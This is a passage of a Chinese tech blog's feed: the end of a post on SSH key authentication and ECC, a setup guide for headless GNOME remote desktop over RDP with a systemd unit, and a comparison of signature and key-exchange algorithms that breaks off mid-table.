&lt;li&gt;客户端发送ssh连接请求，并携带自己的公钥。&lt;&#x2F;li&gt;
&lt;li&gt;服务端检查客户端发来的公钥是否在自己的&lt;code&gt;authorized_keys&lt;&#x2F;code&gt;可信任列表中，若存在，则生成一些随机数返回给客户端。&lt;&#x2F;li&gt;
&lt;li&gt;客户端收到服务端返回的随机数，用私钥签名，将签名结果发给服务端。&lt;&#x2F;li&gt;
&lt;li&gt;服务端收到签名，用对应的公钥验签，验签OK则通过认证。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;无论是安全性还是性能，&lt;code&gt;ed25519&lt;&#x2F;code&gt;都是目前ssh支持的密钥类型中最优秀的，但有些比较老的linux服务器上的ssh的版本可能会比较老，不支持&lt;code&gt;ed25519&lt;&#x2F;code&gt;，所以目前使用&lt;code&gt;rsa&lt;&#x2F;code&gt;的ssh密钥也依然很多。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qi-xiao-jie&quot;&gt;七、小结&lt;&#x2F;h2&gt;
&lt;p&gt;公钥密码学的理论基础是基于数学难题的公私钥难以被攻破，目前主流的公钥密码系统是&lt;code&gt;ECC&lt;&#x2F;code&gt;椭圆曲线密码学，通常提供了密钥交换算法(&lt;code&gt;ECDH&#x2F;ECDHE&lt;&#x2F;code&gt;)与数字签名算法(&lt;code&gt;ECDSA&lt;&#x2F;code&gt;)。&lt;code&gt;SM2&lt;&#x2F;code&gt;是国标的ECC，使用自己的维尔斯特拉斯标准形式椭圆曲线，提供了自己的密钥交换算法、数字签名算法、非对称加密算法。&lt;code&gt;Curve25519&lt;&#x2F;code&gt;是各大社区与语言极力推广的蒙哥马利曲线，&lt;code&gt;x25519&lt;&#x2F;code&gt;就是&lt;code&gt;ECDH&lt;&#x2F;code&gt;使用&lt;code&gt;Curve25519&lt;&#x2F;code&gt;的密钥交换算法，&lt;code&gt;ed25519&lt;&#x2F;code&gt;是&lt;code&gt;Curve25519&lt;&#x2F;code&gt;等价变化的扭曲爱德华曲线，只提供数字签名算法&lt;code&gt;EdDSA&lt;&#x2F;code&gt;，算法具体实现与&lt;code&gt;ECDSA&lt;&#x2F;code&gt;不同。&lt;&#x2F;p&gt;
&lt;p&gt;接下来，继续学习各种密码学算法在互联网环境下的应用(特别是公钥密码学):&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gnome-remote-desktop headless 模式</title>
        <published>2025-10-28T20:10:27+08:00</published>
        <updated>2026-09-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/gnome-remote-desktop headless 模式/"/>
        <id>https://vercel.juzhong.asia/2025/10/gnome-remote-desktop headless 模式/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/gnome-remote-desktop headless 模式/">&lt;h1 id=&quot;quan-liu-cheng-pei-zhi&quot;&gt;全流程配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install -y gnome-remote-desktop winpr-utils


# 为 RDP 服务生成自签名 TLS 证书：
mkdir -p ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop
winpr-makecert -silent -rdp -path ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop rdp-tls
# 使用 RDP 配置 GNOME 远程桌面：
grdctl --headless rdp set-tls-key ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.key
grdctl --headless rdp set-tls-cert ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.crt
grdctl --headless rdp enable
grdctl --headless rdp disable-view-only
grdctl --headless rdp set-credentials peter Strong@pssword
# 如果keyring密钥环也没有TPM模块， 认证信息会保存在文件中
cat ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;credentials.ini
# 为单用户服务启用无头服务器：
# systemctl --user enable --now gnome-remote-desktop-headless.service
&amp;#x2F;usr&amp;#x2F;libexec&amp;#x2F;gnome-remote-desktop-daemon --headless

# 以 root 用户身份为单个用户永久启动无头 GNOME 会话：
# sudo systemctl enable --now gnome-headless-session@peter.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 客户端连接
xfreerdp &amp;#x2F;v:192.168.7.99:3389 &amp;#x2F;u:peter &amp;#x2F;p:Strong@password +clipboard &amp;#x2F;dynamic-resolution &amp;#x2F;sound:sys:pulse &amp;#x2F;microphone:sys:pulse &amp;#x2F;cert-ignore +sec-rdp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置gnome-headless-session&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;gnome-headless-session@.service &amp;lt;&amp;lt;EOF
[Unit]
# %i is the instance name (e.g., &amp;#x27;peter&amp;#x27; in gnome-headless-session@peter.service)
Description=GNOME Headless Desktop Session for User %i
Documentation=https:&amp;#x2F;&amp;#x2F;wiki.gnome.org&amp;#x2F;Projects&amp;#x2F;Mutter&amp;#x2F;RemoteDesktop
After=systemd-user-sessions.service
After=network.target remote-fs.target
# After=graphical.target
Wants=graphical.target
# 依赖于用户会话的挂载点和 D-Bus
# Requires=user@%i.service
# BindsTo=user@%i.service
# 确保在用户退出时停止
KillMode=mixed
# 在停止时发送 SIGTERM，等待 9 秒后发送 SIGKILL
TimeoutStopSec=9

[Service]
# Type=simple 适用于 ExecStart 是主进程的情况。
Type=simple
User=%i
Group=%i
PAMName=login
Environment=XDG_SESSION_TYPE=wayland
Environment=XDG_RUNTIME_DIR=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;%U
Environment=DBUS_SESSION_BUS_ADDRESS=unix:path=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;%U&amp;#x2F;bus
# Environment=DBUS_SESSION_BUS_ADDRESS=unix:path=%E&amp;#x2F;bus
ExecStartPre=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;dbus-update-activation-environment --systemd DISPLAY WAYLAND_DISPLAY XDG_SESSION_TYPE XDG_CURRENT_DESKTOP
ExecStartPre=-&amp;#x2F;bin&amp;#x2F;sh -c &amp;#x27;XDG_RUNTIME_DIR=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;$(id -u %i) &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;loginctl enable-linger %i&amp;#x27;
ExecStart=&amp;#x2F;usr&amp;#x2F;libexec&amp;#x2F;gnome-remote-desktop-daemon --headless
Restart=on-failure
RestartSec=9

[Install]
WantedBy=multi-user.target
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使能 grd headless模式&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl enable --now gnome-headless-session@peter.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>对比表格：数字签名方案、密钥交换协议、密码学协议、后量子密码学——密码学基础</title>
        <published>2025-10-28T00:00:00+00:00</published>
        <updated>2025-10-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/对比表格-数字签名方案、密钥交换协议、密码学协议、后量子密码学-密码学基础/"/>
        <id>https://vercel.juzhong.asia/obsidian/对比表格-数字签名方案、密钥交换协议、密码学协议、后量子密码学-密码学基础/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/对比表格-数字签名方案、密钥交换协议、密码学协议、后量子密码学-密码学基础/">&lt;h1 id=&quot;dui-bi-biao-ge-shu-zi-qian-ming-fang-an-mi-yao-jiao-huan-xie-yi-mi-ma-xue-xie-yi-hou-liang-zi-mi-ma-xue-mi-ma-xue-ji-chu&quot;&gt;对比表格：数字签名方案、密钥交换协议、密码学协议、后量子密码学——密码学基础&lt;&#x2F;h1&gt;
&lt;p&gt;这一部分作为了解吧，前几章有代码，可以深入学习一下。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;yi-shu-zi-qian-ming-fang-an&quot;&gt;一、数字签名方案&lt;&#x2F;h2&gt;
&lt;p&gt;数字签名是现代&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E4%BD%93%E7%B3%BB&amp;amp;spm=1001.2101.3001.7020&quot;&gt;信息安全体系&lt;&#x2F;a&gt;中的基石，它为数字通信提供了身份验证、数据完整性和不可否认性。想象一下，在物理世界中，你用独特的笔迹签署文件；在数字世界中，数字签名扮演着类似角色，但提供了更强的安全保障。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-ecdsa-ji-yu-tuo-yuan-qu-xian-de-shu-zi-qian-ming-suan-fa&quot;&gt;1.1 ECDSA：基于椭圆曲线的数字签名算法&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E6%A4%AD%E5%9C%86%E6%9B%B2%E7%BA%BF%E6%95%B0%E5%AD%97%E7%AD%BE%E5%90%8D%E7%AE%97%E6%B3%95&amp;amp;spm=1001.2101.3001.7020&quot;&gt;椭圆曲线数字签名算法&lt;&#x2F;a&gt;(ECDSA)是一种使用椭圆曲线密码学的数字签名方案。与传统的RSA签名相比，ECDSA能够提供相同的安全强度，但使用更短的密钥长度。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;密钥生成：选择一条椭圆曲线和基点G，生成私钥d（随机数）和公钥Q=d×G&lt;&#x2F;li&gt;
&lt;li&gt;签名生成：计算消息哈希，使用私钥和随机数k生成签名对(r,s)&lt;&#x2F;li&gt;
&lt;li&gt;签名验证：使用发送者的公钥验证签名的有效性&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;比特币和以太坊等区块链技术&lt;&#x2F;li&gt;
&lt;li&gt;TLS&#x2F;SSL安全通信&lt;&#x2F;li&gt;
&lt;li&gt;数字证书签名&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;优势&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;高效率：相比RSA，计算速度更快&lt;&#x2F;li&gt;
&lt;li&gt;紧凑性：较短的密钥长度和签名大小&lt;&#x2F;li&gt;
&lt;li&gt;强安全性：256位ECDSA提供与3072位RSA相当的安全强度&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;工具与实现&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;OpenSSL库（支持各种编程语言）&lt;&#x2F;li&gt;
&lt;li&gt;专业密码库如Bouncy Castle (Java)&lt;&#x2F;li&gt;
&lt;li&gt;区块链开发工具如web3.js（以太坊）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-eddsa-edwardsqu-xian-shu-zi-qian-ming-suan-fa&quot;&gt;1.2 EdDSA：Edwards曲线数字签名算法&lt;&#x2F;h3&gt;
&lt;p&gt;EdDSA (Edwards-curve Digital Signature Algorithm) 是一种基于扭曲Edwards曲线的数字签名算法，最著名的实现是Ed25519。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;密钥生成：从私钥种子导出扩展私钥，计算公钥&lt;&#x2F;li&gt;
&lt;li&gt;签名生成：使用确定性方法（无需随机数生成器），降低实现错误风险&lt;&#x2F;li&gt;
&lt;li&gt;签名验证：验证签名与消息和公钥的关系&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;主要特点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;确定性签名：相同消息和密钥总是产生相同签名&lt;&#x2F;li&gt;
&lt;li&gt;批量验证：可高效验证多个签名&lt;&#x2F;li&gt;
&lt;li&gt;没有特殊情况：简化实现，减少安全漏洞&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Signal等安全通信软件&lt;&#x2F;li&gt;
&lt;li&gt;SSH密钥认证&lt;&#x2F;li&gt;
&lt;li&gt;DNSsec域名系统安全扩展&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;工具与库&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;libsodium（跨平台密码学库）&lt;&#x2F;li&gt;
&lt;li&gt;NaCl（Networking and Cryptography library）&lt;&#x2F;li&gt;
&lt;li&gt;Ed25519实现库（多种编程语言）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-3-rsa-pss-dai-you-gai-lu-qian-ming-fang-an-de-rsa&quot;&gt;1.3 RSA-PSS：带有概率签名方案的RSA&lt;&#x2F;h3&gt;
&lt;p&gt;RSA-PSS (Probabilistic Signature Scheme) 是RSA签名的一种现代变体，增加了随机性元素，提高了安全性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;技术细节&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用掩码生成函数(MGF)添加随机性&lt;&#x2F;li&gt;
&lt;li&gt;对消息进行盐化处理，使得即使相同消息的多次签名也会产生不同结果&lt;&#x2F;li&gt;
&lt;li&gt;包含严格的数学证明，满足选择性伪造攻击下的安全性&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;企业级PKI基础设施&lt;&#x2F;li&gt;
&lt;li&gt;数字证书生成&lt;&#x2F;li&gt;
&lt;li&gt;文档签名系统&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;优势与劣势&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;优势：更强的安全性证明，抵抗选择性伪造攻击&lt;&#x2F;li&gt;
&lt;li&gt;劣势：计算开销较大，对嵌入式设备有挑战&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;实现工具&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;OpenSSL (RSA-PSS模式)&lt;&#x2F;li&gt;
&lt;li&gt;Microsoft CryptoAPI&lt;&#x2F;li&gt;
&lt;li&gt;PKCS#11兼容设备和库&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-4-shu-zi-qian-ming-fang-an-dui-bi&quot;&gt;1.4 数字签名方案对比&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;ECDSA&lt;&#x2F;th&gt;&lt;th&gt;EdDSA&lt;&#x2F;th&gt;&lt;th&gt;RSA-PSS&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;安全级别(等效位长)&lt;&#x2F;td&gt;&lt;td&gt;256位&lt;&#x2F;td&gt;&lt;td&gt;255位&lt;&#x2F;td&gt;&lt;td&gt;3072位&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;签名大小&lt;&#x2F;td&gt;&lt;td&gt;64字节&lt;&#x2F;td&gt;&lt;td&gt;64字节&lt;&#x2F;td&gt;&lt;td&gt;384字节&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;签名速度&lt;&#x2F;td&gt;&lt;td&gt;快&lt;&#x2F;td&gt;&lt;td&gt;非常快&lt;&#x2F;td&gt;&lt;td&gt;慢&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;验证速度&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;快&lt;&#x2F;td&gt;&lt;td&gt;快&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;随机数需求&lt;&#x2F;td&gt;&lt;td&gt;高质量随机数(关键)&lt;&#x2F;td&gt;&lt;td&gt;不需要(确定性)&lt;&#x2F;td&gt;&lt;td&gt;需要盐值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数学基础&lt;&#x2F;td&gt;&lt;td&gt;椭圆曲线离散对数&lt;&#x2F;td&gt;&lt;td&gt;扭曲Edwards曲线&lt;&#x2F;td&gt;&lt;td&gt;大数分解&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;量子抵抗性&lt;&#x2F;td&gt;&lt;td&gt;弱&lt;&#x2F;td&gt;&lt;td&gt;弱&lt;&#x2F;td&gt;&lt;td&gt;弱&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;实现复杂度&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;低(简单)&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;标准化状态&lt;&#x2F;td&gt;&lt;td&gt;FIPS 186-4, SEC1&lt;&#x2F;td&gt;&lt;td&gt;RFC 8032&lt;&#x2F;td&gt;&lt;td&gt;PKCS#1 v2.2, RFC 8017&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;er-mi-yao-jiao-huan-xie-yi&quot;&gt;二、密钥交换协议&lt;&#x2F;h2&gt;
&lt;p&gt;密钥交换是现代加密通信的基础环节，它解决了一个根本问题：如何在不安全的通道上安全地建立共享密钥。这些协议允许通信双方在没有预共享秘密的情况下，协商出一个双方都知道但窃听者无法获取的共同密钥。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-diffie-hellmanmi-yao-jiao-huan&quot;&gt;2.1 Diffie-Hellman密钥交换&lt;&#x2F;h3&gt;
&lt;p&gt;Diffie-Hellman密钥交换（DH）是第一个公开的密钥交换协议，由Whitfield Diffie和Martin Hellman于1976年提出，是现代密码学的里程碑。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;双方共享两个公共参数：一个大素数p和一个基数g&lt;&#x2F;li&gt;
&lt;li&gt;Alice生成私钥a，计算公钥A = g^a mod p，并发送A给Bob&lt;&#x2F;li&gt;
&lt;li&gt;Bob生成私钥b，计算公钥B = g^b mod p，并发送B给Alice&lt;&#x2F;li&gt;
&lt;li&gt;Alice计算共享密钥 K = B^a mod p&lt;&#x2F;li&gt;
&lt;li&gt;Bob计算共享密钥 K = A^b mod p&lt;&#x2F;li&gt;
&lt;li&gt;两者得到相同的密钥K = g^(ab) mod p&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;安全基础&lt;&#x2F;strong&gt;：
基于离散对数问题的困难性。即使攻击者知道p、g、A和B，计算私钥a或b在计算上仍然不可行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;IPsec VPN&lt;&#x2F;li&gt;
&lt;li&gt;早期TLS版本&lt;&#x2F;li&gt;
&lt;li&gt;SSH密钥协商&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;局限性&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;易受中间人攻击，需要额外认证机制&lt;&#x2F;li&gt;
&lt;li&gt;计算强度较大，对有限资源设备有挑战&lt;&#x2F;li&gt;
&lt;li&gt;对量子计算攻击无防护&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;实现工具&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;OpenSSL的DH函数&lt;&#x2F;li&gt;
&lt;li&gt;Java JCE (Java Cryptography Extension)&lt;&#x2F;li&gt;
&lt;li&gt;wolfSSL（嵌入式系统）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-2-ecdh-tuo-yuan-qu-xian-diffie-hellmanmi-yao-jiao-huan&quot;&gt;2.2 ECDH：椭圆曲线Diffie-Hellman密钥交换&lt;&#x2F;h3&gt;
&lt;p&gt;ECDH是Diffie-Hellman密钥交换的椭圆曲线变体，提供了相同的功能，但有更高的效率和安全性。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;技术细节&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;双方共享椭圆曲线参数和基点G&lt;&#x2F;li&gt;
&lt;li&gt;Alice生成私钥a，计算公钥A = aG（椭圆曲线点乘）&lt;&#x2F;li&gt;
&lt;li&gt;Bob生成私钥b，计算公钥B = bG&lt;&#x2F;li&gt;
&lt;li&gt;Alice计算共享点 S = aB&lt;&#x2F;li&gt;
&lt;li&gt;Bob计算共享点 S = bA&lt;&#x2F;li&gt;
&lt;li&gt;两者得到相同的点S = abG，通常使用S的x坐标作为共享密钥&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;优势&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;更小的密钥尺寸（256位ECDH≈3072位DH）&lt;&#x2F;li&gt;
&lt;li&gt;更快的计算速度&lt;&#x2F;li&gt;
&lt;li&gt;降低带宽和存储需求&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;应用场景&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;TLS 1.2&#x2F;1.3&lt;&#x2F;li&gt;
&lt;li&gt;移动应用加密通信&lt;&#x2F;li&gt;
&lt;li&gt;物联网设备安全通信&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;常用曲线&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;P-256（NIST推荐）&lt;&#x2F;li&gt;
&lt;li&gt;Curve25519（更高效，广泛使用于现代系统）&lt;&#x2F;li&gt;
&lt;li&gt;Brainpool曲线（欧洲标准）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;工具与库&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;BoringSSL&#x2F;OpenSSL的EC函数&lt;&#x2F;li&gt;
&lt;li&gt;libsodium（X25519实现）&lt;&#x2F;li&gt;
&lt;li&gt;Bouncy Castle加密库&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-3-liang-zi-kang-xing-mi-yao-jiao-huan-xie-yi-crystals-kyber&quot;&gt;2.3 量子抗性密钥交换协议：CRYSTALS-Kyber&lt;&#x2F;h3&gt;
&lt;p&gt;随着量子计算的发展，传统的密钥交换协议面临风险。CRYSTALS-Kyber是NIST后量子密码标准化进程中的获胜者，提供了对抗量子计算攻击的密钥封装机制(KEM)。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;基于格密码学中的模块学习带错误问题(MLWE)&lt;&#x2F;li&gt;
&lt;li&gt;使用多项式运算而非大数或椭圆曲线运算&lt;&#x2F;li&gt;
&lt;li&gt;包含独特的噪声采样和错误校正机制&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;技术特点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;提供IND-CCA2安全性（适应性选择密文攻击下的安全）&lt;&#x2F;li&gt;
&lt;li&gt;支持密钥封装机制(KEM)而非直接的密钥交换&lt;&#x2F;li&gt;
&lt;li&gt;平衡了安全性、性能和密钥&#x2F;密文大小&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;优势与挑战&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;优势：抵抗量子计算攻击，高效实现&lt;&#x2F;li&gt;
&lt;li&gt;挑战：较大的密钥和密文尺寸，新技术的部署复杂性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;标准化状态&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;2022年被NIST选为后量子密钥封装标准&lt;&#x2F;li&gt;
&lt;li&gt;正在整合到TLS、SSH等协议中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;实现工具&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;libpqcrypto（后量子密码库）&lt;&#x2F;li&gt;
&lt;li&gt;Open Quantum Safe项目&lt;&#x2F;li&gt;
&lt;li&gt;BoringSSL实验分支&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-4-mi-yao-jiao-huan-xie-yi-dui-bi&quot;&gt;2.4 密钥交换协议对比&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;th&gt;Diffie-Hellman&lt;&#x2F;th&gt;&lt;th&gt;ECDH (Curve25519)&lt;&#x2F;th&gt;&lt;th&gt;CRYSTALS-Kyber&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;公钥大小&lt;&#x2F;td&gt;&lt;td&gt;256-512字节&lt;&#x2F;td&gt;&lt;td&gt;32字节&lt;&#x2F;td&gt;&lt;td&gt;800-1568字节&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;私钥大小&lt;&#x2F;td&gt;&lt;td&gt;256字节&lt;&#x2F;td&gt;&lt;td&gt;32字节&lt;&#x2F;td&gt;&lt;td&gt;1632-3168字节&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;计算效率&lt;&#x2F;td&gt;&lt;td&gt;低&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;带宽需求&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;td&gt;低&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数学基础&lt;&#x2F;td&gt;&lt;td&gt;离散对数问题&lt;&#x2F;td&gt;&lt;td&gt;椭圆曲线离散对数&lt;&#x2F;td&gt;&lt;td&gt;模块化学习带错误&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;量子抵抗性&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;强&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;成熟度&lt;&#x2F;td&gt;&lt;td&gt;非常成熟&lt;&#x2F;td&gt;&lt;td&gt;成熟&lt;&#x2F;td&gt;&lt;td&gt;新兴&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
